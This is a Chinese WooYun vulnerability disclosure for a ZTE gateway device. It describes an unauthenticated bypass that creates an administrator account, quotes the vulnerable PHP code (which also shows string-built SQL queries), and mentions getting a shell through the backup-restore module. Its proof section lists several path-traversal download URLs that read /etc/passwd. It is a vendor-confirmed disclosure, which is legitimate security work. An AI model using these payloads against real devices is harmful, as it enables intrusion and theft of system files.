当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0191136

漏洞标题:中兴某网关设备后台绕过可Shell+N处任意文件下载漏洞合集

相关厂商:中兴通讯股份有限公司

漏洞作者: pandas

提交时间:2016-03-31 17:43

修复时间:2016-06-30 09:10

公开时间:2016-06-30 09:10

漏洞类型:权限控制绕过

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-31: 细节已通知厂商并且等待厂商处理中
2016-04-01: 厂商已经确认,细节仅向厂商公开
2016-04-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-26: 细节向核心白帽子及相关领域专家公开
2016-06-05: 细节向普通白帽子公开
2016-06-15: 细节向实习白帽子公开
2016-06-30: 细节向公众公开

简要描述:

中兴某网关设备通用型后台绕过可getshell+N处任意文件下载

详细说明:

该后台绕过有2种利用方式,原理其实差不多,就不刷漏洞了:)
一、越权添加任意管理员账户登录后台
二、越权编辑原admin用户,修改其密码登录后台
直接以第一种情况来作演示,毕竟第二种情况比较暴力。
漏洞文件 modules/admin/admin_account.be.php:

function admin_account_add($post) {
global $db;
global $res;
global $lang;
if(!ci($post['txt_name'], 'name',3,20)){
$res->set_resultcode('-2');
$res->set_resultstr($lang['user'].':'.$lang['namereq3']);
return;
}
if(!ci($post['t_name'],'realname',3,20)){
$res->set_resultcode('-2');
$res->set_resultstr($lang['realname'].':'.$lang['error_realname']);
return;
}
if(!ci($post['t_dept'],'realname',0,20)){
$res->set_resultcode('-2');
$res->set_resultstr($lang['dept'].':'.$lang['error_realname2']);
return;
}
if(!ci($post['email'],'email')){
$res->set_resultcode('-2');
$res->set_resultstr($lang['email'].':'.$lang['error_email']);
return;
}
if(!ci($post['t_desc'],'realname',0,100)){
$res->set_resultcode('-2');
$res->set_resultstr($lang['desc'].':'.$lang['error_role_desc']);
return;
}
if($post['sel_role']=="-1"){
$res->set_resultcode('-2');
$res->set_resultstr($lang['emptyform'].":".$lang['adminrole']);
return;
}
if(!ci($post['pas_password'], 'uaname',5,20)){
$res->set_resultcode('-2');
$res->set_resultstr($lang['password'].':'.$lang['admin_pwd_error']);
return;
}
if($post['pas_password'] != $post['pas_password2']){
$res->set_resultcode('-2');
$res->set_resultstr($lang['rtpass'].':'.$lang['passerr']);
return;
}
$count=$db->countOf("oft_operators", "name= binary '".$post['txt_name']."'");
if($count>0){
$res->set_resultcode('-2');
$res->set_resultstr($lang['dupname']);
return;
}

$sql0="insert into oft_operators (name, realname, department, contact, descript, password, state, user_type, role_id,email) values ('".$post['txt_name']."', '".$post['t_name']."', '".$post['t_dept']."', '".$post['t_contact']."', '".$post['t_desc']."', '".md5($post['pas_password'])."', '".(isset($post['chk_state']) ? 1:0)."', '".$post['object_type']."', '".$post['sel_role']."', '".$post['email']."')";
$db->execute($sql0);
$new_id=$db->lastInsertedId();
$sqla=array();
if($post['object_type']=='1' || $post['object_type']=='2') {
for($i=count($post['sel_obj']);$i>0;$i--){
$sqla[]="insert into oft_oper_user values('".$new_id."','".$post['sel_obj'][$i-1]."')";
}
}
$db->execute('start transaction');
foreach($sqla as $sqlstr) {
if(!$db->execute($sqlstr)) {
$db->execute('rollback');
$res->set_resultcode('-4');
$res->set_resultstr($lang['dberr']);
return;
}
}
$db->execute("commit");
$GLOBALS['logs']->writelog(CATEGORY_OPERATE,'Add','Add account '.$post['t_name'],$post['hid_path'],'Add account');
$res->set_resultcode('0');
$res->set_resultstr($lang['success']);
}


该文件可未授权访问,而上述功能代码可直接添加一管理员用户:

C50ADCE9-EFFA-4746-9D15-2D8248E4EBCF.png


如图所示 新增了一个 test123 密码为123456的管理员。
不过这里有个小坑,直接添加虽然页面返回的是添加成功,但是实际上并不能登录成功,还需要新增一个管理组:
漏洞文件:modules/admin/admin_role.be.php
代码不贴了,和上面的逻辑类似,挖过这套系统的应该已经很清楚怎么利用了,没有挖过的可以看测试代码区,里面有该漏洞的完整利用代码。

QQ20160331-0@2x.png


这时候使用我们新增的test123可成功登录管理后台:

QQ20160331-2@2x.png


可getshell,登录后的漏洞一大把,就不刷漏洞了,具体上传getshell可以看modules/system/sys_backuprestore.be.php这个文件:

QQ20160331-1@2x.png


利用代码请看测试代码区

漏洞证明:

顺带发现几处文件下载,不再分析代码,直接给出利用代码:(可能有重复的,有劳审核备注下)
1. **.**.**.**/modules/system/download.php?file=/etc/passwd
2. **.**.**.**/download.php?filename=passwd&id=../../../../../../../../../etc/passwd
3. **.**.**.**/modules/audit/email_download.php?file=/etc/passwd
4. **.**.**.**/modules/audit/download.php?file=/etc/passwd
5. **.**.**.**/modules/service/download.php?id=/../../../../../../../etc/passwd&file=1
更多通用案例详见前辈们提交的案例
http://**.**.**.**/bugs/wooyun-2010-0189550
:)

修复方案:

不仅要验证用户权限,也要做好过滤。

版权声明:转载请注明来源 pandas@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-04-01 09:02

厂商回复:

我爱合集……

最新状态:

暂无


漏洞评价:

评价